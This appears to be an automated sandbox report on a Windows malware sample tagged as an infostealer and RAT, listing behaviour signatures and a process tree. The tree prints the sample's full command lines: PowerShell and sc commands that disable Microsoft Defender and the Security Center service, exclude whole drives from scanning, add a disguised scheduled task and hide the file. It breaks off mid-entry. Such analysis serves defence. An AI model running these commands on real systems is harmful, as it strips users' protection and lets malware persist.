Overview

overview

10

Static

static

10

2026-08-04...om.exe

windows10-2004-x64

10

2026-08-04...om.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    66s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 15:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  • Size 22.5MB
  • Sample260804-se1xxazzdv
  • SHA256 deabe46abfa1ec0013b98b7dacbcc94e412e1e4111c620cc780e2d66d1ddf5be
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 16 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 58 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
    defense_evasion
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 54 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5824
    • C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Creates a file in the Startup directory
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2176
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5700
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:5400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyAccess $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisablePrivacyAccess $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:1156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:5440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:2292
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          • Suspicious behavior: EnumeratesProcesses
          PID:4256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -MAPSReporting 0""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:2132
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:3292
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config wscsvc start= disabled"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\system32\sc.exe
          sc config wscsvc start= disabled
          4⤵
          • Launches sc.exe
          PID:5764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop wscsvc"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\system32\sc.exe
          sc stop wscsvc
          4⤵
          • Launches sc.exe
          PID:5296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5288
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4876
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1384
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3512
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:408
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5444
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2460
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdateService_JIRWHFKN" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsUpdateService_JIRWHFKN" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
          4⤵
          • Views/modifies file attributes
          PID:4148
  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:5164
    • C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4548
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5036
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:4220
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:5632
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:5844
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true""
        3⤵
        • Executes a command shell one-liner
        PID:2228
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:3104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyAccess $true""
        3⤵
        • Executes a command shell one-liner
        PID:3020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisablePrivacyAccess $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4708
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true""
        3⤵
        • Executes a command shell one-liner
        PID:3468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:2880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true""
        3⤵
        • Executes a command shell one-liner
        PID:1376
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:5588
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true""
        3⤵
        • Executes a command shell one-liner
        PID:2816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true""
        3⤵
        • Executes a command shell one-liner
        PID:6052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          PID:5968
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2""
        3⤵
        • Executes a command shell one-liner
        PID:984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          PID:2020
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -MAPSReporting 0""
        3⤵
        • Executes a command shell one-liner
        PID:2360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:676
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Executes a command shell one-liner
        PID:952
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:5848
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Executes a command shell one-liner
        PID:1560
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:2644
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config wscsvc start= disabled"
        3⤵
        • Executes a command shell one-liner
        PID:3812
        • C:\Windows\system32\sc.exe
          sc config wscsvc start= disabled
          4⤵
          • Launches sc.exe
          PID:4192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop wscsvc"
        3⤵
        • Executes a command shell one-liner
        PID:2596
        • C:\Windows\system32\sc.exe
          sc stop wscsvc
          4⤵
          • Launches sc.exe
          PID:5584
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        PID:1472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2744
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'""
        3⤵
        • Executes a command shell one-liner
        PID:2844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4084
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        PID:4744
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Executes a command shell one-liner
        PID:3972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'""
        3⤵
        • Executes a command shell one-liner
        PID:5400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Executes a command shell one-liner
        PID:3548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'""
        3⤵
        • Executes a command shell one-liner
        PID:2232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5552
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Executes a command shell one-liner
        PID:4444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'""
        3⤵
        • Executes a command shell one-liner
        PID:5828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5584
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Executes a command shell one-liner
        PID:3764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4304
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Executes a command shell one-liner
        PID:2452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
